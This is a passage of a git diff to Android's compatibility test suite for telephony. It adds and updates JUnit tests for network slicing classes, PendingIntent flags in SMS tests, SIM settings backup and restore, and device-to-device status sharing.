+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        try {
+            new NetworkSliceInfo.Builder()
+                    .setMappedHplmnSliceDifferentiator(
+                            NetworkSliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        try {
+            new NetworkSliceInfo.Builder()
+                    .setSliceDifferentiator(NetworkSliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        try {
+            new NetworkSliceInfo.Builder()
+                    .setMappedHplmnSliceDifferentiator(
+                            NetworkSliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+    }
+
+    @Test
+    public void testGetterAndSetterForSliceStatus() {
+        NetworkSliceInfo si = new NetworkSliceInfo.Builder().setStatus(TEST_SLICE_STATUS).build();
+        assertThat(si.getStatus()).isEqualTo(SLICE_STATUS_CONFIGURED);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/NetworkSlicingConfigTest.java b/tests/tests/telephony/current/src/android/telephony/cts/NetworkSlicingConfigTest.java
new file mode 100644
index 0000000..79d6009
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/NetworkSlicingConfigTest.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.telephony.data.NetworkSlicingConfig;
+
+import org.junit.Test;
+
+public class NetworkSlicingConfigTest {
+    @Test
+    public void testConstructorAndGetters() {
+        NetworkSlicingConfig sc = new NetworkSlicingConfig();
+        assertThat(sc.getUrspRules()).isNotEqualTo(null);
+        assertThat(sc.getSliceInfo()).isNotEqualTo(null);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneCapabilityTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneCapabilityTest.java
new file mode 100644
index 0000000..3ed8a69
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneCapabilityTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.ModemInfo;
+import android.telephony.PhoneCapability;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PhoneCapabilityTest {
+    @Test
+    @SmallTest
+    public void parcelReadWrite() throws Exception {
+        int maxActiveVoice = 1;
+        int maxActiveData = 2;
+        ModemInfo modemInfo = new ModemInfo(1, 2, true, false);
+        List<ModemInfo> logicalModemList = new ArrayList<>();
+        logicalModemList.add(modemInfo);
+        int[] deviceNrCapabilities = new int[]{};
+
+        Parcel parcel = Parcel.obtain();
+        parcel.writeInt(maxActiveVoice);
+        parcel.writeInt(maxActiveData);
+        parcel.writeBoolean(false);
+        parcel.writeList(logicalModemList);
+        parcel.writeIntArray(deviceNrCapabilities);
+
+        parcel.setDataPosition(0);
+        PhoneCapability toCompare = PhoneCapability.CREATOR.createFromParcel(parcel);
+
+        assertEquals(maxActiveVoice, toCompare.getMaxActiveVoiceSubscriptions());
+        assertEquals(maxActiveData, toCompare.getMaxActiveDataSubscriptions());
+        assertArrayEquals(deviceNrCapabilities, toCompare.getDeviceNrCapabilities());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/RouteSelectionDescriptorTest.java b/tests/tests/telephony/current/src/android/telephony/cts/RouteSelectionDescriptorTest.java
new file mode 100644
index 0000000..7a76502
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/RouteSelectionDescriptorTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static android.telephony.data.RouteSelectionDescriptor.ROUTE_SSC_MODE_1;
+import static android.telephony.data.RouteSelectionDescriptor.SESSION_TYPE_IPV4;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hardware.radio.V1_6.SliceInfo;
+import android.telephony.data.RouteSelectionDescriptor;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class RouteSelectionDescriptorTest {
+    private static final int TEST_PRECEDENCE = 1;
+    private static final int TEST_SESSION_TYPE = SESSION_TYPE_IPV4;
+    private static final int TEST_SSC_MODE = ROUTE_SSC_MODE_1;
+
+    @Test
+    public void testConstructorAndGetters() {
+        List<SliceInfo> si = new ArrayList<SliceInfo>();
+        List<String> dnn = new ArrayList<String>();
+        RouteSelectionDescriptor rsd = new RouteSelectionDescriptor(
+                TEST_PRECEDENCE, TEST_SESSION_TYPE, TEST_SSC_MODE, si, dnn);
+        assertThat(rsd.getPrecedence()).isEqualTo(TEST_PRECEDENCE);
+        assertThat(rsd.getSessionType()).isEqualTo(TEST_SESSION_TYPE);
+        assertThat(rsd.getSscMode()).isEqualTo(TEST_SSC_MODE);
+        assertThat(rsd.getSliceInfo()).isNotEqualTo(null);
+        assertThat(rsd.getDataNetworkName()).isNotEqualTo(null);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java
deleted file mode 100644
index d0ab1ae..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_EMBB;
-import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_MIOT;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.fail;
-
-import android.os.Parcel;
-import android.telephony.data.SliceInfo;
-
-import org.junit.Test;
-
-public class SliceInfoTest {
-    private static final int TEST_SLICE_DIFFERENTIATOR = 1;
-    private static final int TEST_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_EMBB;
-    private static final int TEST_HPLMN_SLICE_DIFFERENTIATOR = 10;
-    private static final int TEST_HPLMN_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_MIOT;
-
-    @Test
-    public void testParceling() {
-        testParceling(new SliceInfo.Builder()
-                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
-                .build());
-
-        testParceling(new SliceInfo.Builder()
-                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
-                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
-                .build());
-
-        testParceling(new SliceInfo.Builder()
-                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
-                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
-                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
-                .build());
-
-        testParceling(new SliceInfo.Builder()
-                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
-                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
-                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
-                .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
-                .build());
-    }
-
-    private void testParceling(SliceInfo sliceInfo1) {
-        Parcel stateParcel = Parcel.obtain();
-        sliceInfo1.writeToParcel(stateParcel, 0);
-        stateParcel.setDataPosition(0);
-
-        SliceInfo parcelResponse = SliceInfo.CREATOR.createFromParcel(stateParcel);
-        assertThat(parcelResponse).isEqualTo(sliceInfo1);
-    }
-
-    @Test
-    public void testSliceDifferentiatorRange() {
-        new SliceInfo.Builder()
-                .setSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR)
-                .setSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR)
-                .setMappedHplmnSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR)
-                .setMappedHplmnSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR);
-
-        try {
-            new SliceInfo.Builder()
-                    .setSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
-            fail("Illegal state exception expected");
-        } catch (IllegalArgumentException ignored) {
-        }
-
-        try {
-            new SliceInfo.Builder()
-                    .setMappedHplmnSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
-            fail("Illegal state exception expected");
-        } catch (IllegalArgumentException ignored) {
-        }
-
-        try {
-            new SliceInfo.Builder()
-                    .setSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
-            fail("Illegal state exception expected");
-        } catch (IllegalArgumentException ignored) {
-        }
-
-        try {
-            new SliceInfo.Builder()
-                    .setMappedHplmnSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
-            fail("Illegal state exception expected");
-        } catch (IllegalArgumentException ignored) {
-        }
-    }
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 05a749e..d3ecc7e 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -56,6 +56,7 @@
 import android.os.SystemClock;
 import android.provider.Telephony;
 import android.telephony.SmsCbMessage;
+import android.telephony.SmsManager;
 import android.telephony.SmsMessage;
 import android.telephony.TelephonyManager;
 import android.telephony.cdma.CdmaSmsCbProgramData;
@@ -629,9 +630,9 @@
         mReceivedDataSms = false;
         sMessageId = 0L;
         mSentIntent = PendingIntent.getBroadcast(mContext, 0, mSendIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mDeliveredIntent = PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     /**
@@ -647,8 +648,8 @@
             ArrayList<PendingIntent> sentIntents = new ArrayList<PendingIntent>();
             ArrayList<PendingIntent> deliveryIntents = new ArrayList<PendingIntent>();
             for (int i = 0; i < numPartsSent; i++) {
-                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, 0));
-                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, 0));
+                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
             }
             sendMultiPartTextMessage(mDestAddr, parts, sentIntents, deliveryIntents, addMessageId);
         }
@@ -801,6 +802,15 @@
         }
     }
 
+    @Test
+    public void testCreateForSubscriptionId() {
+        int testSubId = 123;
+        SmsManager smsManager = mContext.getSystemService(SmsManager.class)
+                .createForSubscriptionId(testSubId);
+        assertEquals("getSubscriptionId() should be " + testSubId, testSubId,
+                smsManager.getSubscriptionId());
+    }
+
     protected ArrayList<String> divideMessage(String text) {
         return getSmsManager().divideMessage(text);
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
index dbb769d..615c2a8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
@@ -16,6 +16,8 @@
 
 package android.telephony.cts;
 
+import static android.telephony.cts.TelephonyUtils.hexStringToByteArray;
+
 import static androidx.test.InstrumentationRegistry.getContext;
 
 import static org.junit.Assert.assertArrayEquals;
@@ -35,6 +37,8 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.Arrays;
+
 public class SmsMessageTest {
 
     private TelephonyManager mTelephonyManager;
@@ -110,7 +114,7 @@
         assertEquals(sms.getMessageBody().length(), result[1]);
         assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
         assertEquals(SmsMessage.ENCODING_7BIT, result[3]);
-        assertEquals(pdu, toHexString(sms.getPdu()));
+        assertEquals(pdu, TelephonyUtils.toHexString(sms.getPdu()));
 
         assertEquals(NOT_CREATE_FROM_SIM, sms.getIndexOnSim());
         assertEquals(NOT_CREATE_FROM_ICC, sms.getIndexOnIcc());
@@ -418,7 +422,13 @@
                 -62, -32, 48};
 
         assertArrayEquals(expectedGsmMsg, gsmMsg);
-        assertArrayEquals(expectedCdmaMsg, cdmaMsg);
+        // In CDMA, the message byte array is affected by the messageId generated by
+        // {@link com.android.internal.telephony.cdma.SmsMessage#getNextMessageId()}
+        // which is not consistent. Skip the 2 bytes which are affected by it.
+        assertArrayEquals(Arrays.copyOfRange(expectedCdmaMsg, 0, 35),
+                Arrays.copyOfRange(cdmaMsg, 0, 35));
+        assertArrayEquals(Arrays.copyOfRange(expectedCdmaMsg, 37, expectedCdmaMsg.length),
+                Arrays.copyOfRange(cdmaMsg, 37, expectedCdmaMsg.length));
     }
 
     @Test
@@ -431,42 +441,4 @@
         SmsMessage sms = SmsMessage.createFromNativeSmsSubmitPdu(submitPdu, true);
         assertNull(sms);
     }
-
-    private final static char[] HEX_DIGITS = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
-            'A', 'B', 'C', 'D', 'E', 'F' };
-
-    public static String toHexString(byte[] array) {
-        int length = array.length;
-        char[] buf = new char[length * 2];
-
-        int bufIndex = 0;
-        for (int i = 0 ; i < length; i++)
-        {
-            byte b = array[i];
-            buf[bufIndex++] = HEX_DIGITS[(b >>> 4) & 0x0F];
-            buf[bufIndex++] = HEX_DIGITS[b & 0x0F];
-        }
-
-        return new String(buf);
-    }
-
-    private static int toByte(char c) {
-        if (c >= '0' && c <= '9') return (c - '0');
-        if (c >= 'A' && c <= 'F') return (c - 'A' + 10);
-        if (c >= 'a' && c <= 'f') return (c - 'a' + 10);
-
-        throw new RuntimeException ("Invalid hex char '" + c + "'");
-    }
-
-    private static byte[] hexStringToByteArray(String hexString) {
-        int length = hexString.length();
-        byte[] buffer = new byte[length / 2];
-
-        for (int i = 0 ; i < length ; i += 2) {
-            buffer[i / 2] =
-                (byte)((toByte(hexString.charAt(i)) << 4) | toByte(hexString.charAt(i+1)));
-        }
-
-        return buffer;
-    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
index a9a934d..e61a720 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
@@ -34,13 +34,13 @@
         Intent intent = new Intent(context, SmsReceiver.class);
         intent.setAction(MESSAGE_SENT_ACTION);
         return PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     public static PendingIntent getMessageDeliveredPendingIntent(Context context) {
         Intent intent = new Intent(context, SmsReceiver.class);
         intent.setAction(MESSAGE_DELIVERED_ACTION);
         return PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 77d9bcb..430ca19 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -32,6 +32,7 @@
 import static org.junit.Assert.fail;
 
 import android.annotation.Nullable;
+import android.app.UiAutomation;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.net.ConnectivityManager;
@@ -39,6 +40,7 @@
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
+import android.net.Uri;
 import android.os.Looper;
 import android.os.ParcelUuid;
 import android.os.PersistableBundle;
@@ -47,6 +49,11 @@
 import android.telephony.SubscriptionManager;
 import android.telephony.SubscriptionPlan;
 import android.telephony.TelephonyManager;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsManager;
+import android.telephony.ims.ImsMmTelManager;
+import android.telephony.ims.ImsRcsManager;
+import android.telephony.ims.RcsUceAdapter;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -61,6 +68,8 @@
 import org.junit.BeforeClass;
 import org.junit.Test;
 
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
 import java.time.Period;
 import java.time.ZonedDateTime;
 import java.util.ArrayList;
@@ -79,7 +88,13 @@
 
 public class SubscriptionManagerTest {
     private static final String TAG = "SubscriptionManagerTest";
+    private static final String MODIFY_PHONE_STATE = "android.permission.MODIFY_PHONE_STATE";
     private SubscriptionManager mSm;
+    private static final List<Uri> CONTACTS = new ArrayList<>();
+    static {
+        CONTACTS.add(Uri.fromParts("tel", "+16505551212", null));
+        CONTACTS.add(Uri.fromParts("tel", "+16505552323", null));
+    }
 
     private int mSubId;
     private String mPackageName;
@@ -826,6 +841,156 @@
         setPreferredDataSubId(preferredSubId);
     }
 
+    @Test
+    public void testRestoreAllSimSpecificSettingsFromBackup() throws Exception {
+        if (!isSupported()) return;
+
+        int activeDataSubId = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getActiveDataSubscriptionId());
+        assertNotEquals(activeDataSubId, SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+        SubscriptionInfo activeSubInfo = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getActiveSubscriptionInfo(activeDataSubId));
+        String isoCountryCode = activeSubInfo.getCountryIso();
+
+        byte[] backupData = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getAllSimSpecificSettingsForBackup());
+        assertTrue(backupData.length > 0);
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_EDITABLE_ENHANCED_4G_LTE_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.KEY_HIDE_ENHANCED_4G_LTE_BOOL, false);
+        overrideCarrierConfig(bundle, activeDataSubId);
+
+        // Get the original ims values.
+        ImsManager imsManager = InstrumentationRegistry.getContext().getSystemService(
+                ImsManager.class);
+        ImsMmTelManager mMmTelManager = imsManager.getImsMmTelManager(activeDataSubId);
+        boolean isVolteVtEnabledOriginal = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.isAdvancedCallingSettingEnabled());
+        boolean isVtImsEnabledOriginal = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.isVtSettingEnabled());
+        boolean isVoWiFiSettingEnabledOriginal =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mMmTelManager, (m) -> m.isVoWiFiSettingEnabled());
+        int voWifiModeOriginal = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.getVoWiFiModeSetting());
+        int voWiFiRoamingModeOriginal = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.getVoWiFiRoamingModeSetting());
+
+        // Get the original RcsUce values.
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(activeDataSubId);
+        RcsUceAdapter rcsUceAdapter = imsRcsManager.getUceAdapter();
+        boolean isImsRcsUceEnabledOriginal =
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                rcsUceAdapter, (a) -> a.isUceSettingEnabled(), ImsException.class,
+                android.Manifest.permission.READ_PHONE_STATE);
+
+        //Change values in DB.
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setAdvancedCallingSettingEnabled(!isVolteVtEnabledOriginal));
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVtSettingEnabled(!isVtImsEnabledOriginal));
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                rcsUceAdapter, (a) -> a.setUceSettingEnabled(!isImsRcsUceEnabledOriginal),
+                ImsException.class);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiSettingEnabled(!isVoWiFiSettingEnabledOriginal));
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiModeSetting((voWifiModeOriginal + 1) % 3));
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiRoamingModeSetting((voWiFiRoamingModeOriginal + 1) % 3));
+
+        // Restore back to original values.
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                (sm) -> sm.restoreAllSimSpecificSettingsFromBackup(backupData));
+
+        // Get ims values to verify with.
+        boolean isVolteVtEnabledAfterRestore = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.isAdvancedCallingSettingEnabled());
+        boolean isVtImsEnabledAfterRestore = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.isVtSettingEnabled());
+        boolean isVoWiFiSettingEnabledAfterRestore =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mMmTelManager, (m) -> m.isVoWiFiSettingEnabled());
+        int voWifiModeAfterRestore = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.getVoWiFiModeSetting());
+        int voWiFiRoamingModeAfterRestore = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mMmTelManager, (m) -> m.getVoWiFiRoamingModeSetting());
+        // Get RcsUce values to verify with.
+        boolean isImsRcsUceEnabledAfterRestore =
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                        rcsUceAdapter, (a) -> a.isUceSettingEnabled(), ImsException.class,
+                        android.Manifest.permission.READ_PHONE_STATE);
+
+        assertEquals(isVolteVtEnabledOriginal, isVolteVtEnabledAfterRestore);
+        if (isoCountryCode == null || isoCountryCode.equals("us") || isoCountryCode.equals("ca")) {
+            assertEquals(!isVoWiFiSettingEnabledOriginal, isVoWiFiSettingEnabledAfterRestore);
+        } else {
+            assertEquals(isVoWiFiSettingEnabledOriginal, isVoWiFiSettingEnabledAfterRestore);
+        }
+        assertEquals(voWifiModeOriginal, voWifiModeAfterRestore);
+        assertEquals(voWiFiRoamingModeOriginal, voWiFiRoamingModeAfterRestore);
+        assertEquals(isVtImsEnabledOriginal, isVtImsEnabledAfterRestore);
+        assertEquals(isImsRcsUceEnabledOriginal, isImsRcsUceEnabledAfterRestore);
+
+        // restore original carrier config.
+        overrideCarrierConfig(null, activeDataSubId);
+
+
+        try {
+            // Check api call will fail without proper permissions.
+            mSm.restoreAllSimSpecificSettingsFromBackup(backupData);
+            fail("SecurityException expected");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testSetAndGetD2DStatusSharing() {
+        if (!isSupported()) return;
+
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity(MODIFY_PHONE_STATE);
+        int originalD2DStatusSharing = mSm.getDeviceToDeviceStatusSharingPreference(mSubId);
+        mSm.setDeviceToDeviceStatusSharingPreference(mSubId,
+                SubscriptionManager.D2D_SHARING_ALL_CONTACTS);
+        assertEquals(SubscriptionManager.D2D_SHARING_ALL_CONTACTS,
+                mSm.getDeviceToDeviceStatusSharingPreference(mSubId));
+        mSm.setDeviceToDeviceStatusSharingPreference(mSubId, SubscriptionManager.D2D_SHARING_ALL);
+        assertEquals(SubscriptionManager.D2D_SHARING_ALL,
+                mSm.getDeviceToDeviceStatusSharingPreference(mSubId));
+        mSm.setDeviceToDeviceStatusSharingPreference(mSubId, originalD2DStatusSharing);
+        uiAutomation.dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testSetAndGetD2DSharingContacts() {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity(MODIFY_PHONE_STATE);
+        List<Uri> originalD2DSharingContacts = mSm.getDeviceToDeviceStatusSharingContacts(mSubId);
+        mSm.setDeviceToDeviceStatusSharingContacts(mSubId, CONTACTS);
+        assertEquals(CONTACTS, mSm.getDeviceToDeviceStatusSharingContacts(mSubId));
+        mSm.setDeviceToDeviceStatusSharingContacts(mSubId, originalD2DSharingContacts);
+        uiAutomation.dropShellPermissionIdentity();
+    }
+
+    @Nullable
+    private PersistableBundle getBundleFromBackupData(byte[] data) {
+        try (ByteArrayInputStream bis = new ByteArrayInputStream(data)) {
+            return PersistableBundle.readFromStream(bis);
+        } catch (IOException e) {
+            return null;
+        }
+    }
+
+    private void overrideCarrierConfig(PersistableBundle bundle, int subId) throws Exception {
+        CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getContext()
+                .getSystemService(CarrierConfigManager.class);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+                (m) -> m.overrideConfig(subId, bundle));
+    }
+
     private void setPreferredDataSubId(int subId) {
         final LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
         Executor executor = (command)-> command.run();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
index fbd2a12..f5f47d4 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
@@ -797,7 +797,7 @@
     private class CallStateListener extends TelephonyCallback
             implements TelephonyCallback.CallStateListener {
         @Override
-        public void onCallStateChanged(int state, String incomingNumber) {
+        public void onCallStateChanged(int state) {
             synchronized (mLock) {
                 mOnCallStateChangedCalled = true;
                 mLock.notify();
@@ -813,10 +813,9 @@
         }
         assertFalse(mOnCallStateChangedCalled);
 
-        mHandler.post(() -> {
-            mCallStateCallback = new CallStateListener();
-            registerTelephonyCallback(mCallStateCallback);
-        });
+        mCallStateCallback = new CallStateListener();
+        registerTelephonyCallback(mCallStateCallback);
+
         synchronized (mLock) {
             if (!mOnCallStateChangedCalled) {
                 mLock.wait(WAIT_TIME);
@@ -1335,6 +1334,11 @@
 
     @Test
     public void testOnAllowedNetworkTypesChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
         assertFalse(mOnAllowedNetworkTypesChangedCalled);
 
         mHandler.post(() -> {
@@ -1420,5 +1424,4 @@
         unRegisterTelephonyCallback(mOnLinkCapacityEstimateChangedCalled,
                 mLinkCapacityEstimateChangedListener);
     }
-
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 5f8932d..3c7d4e8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
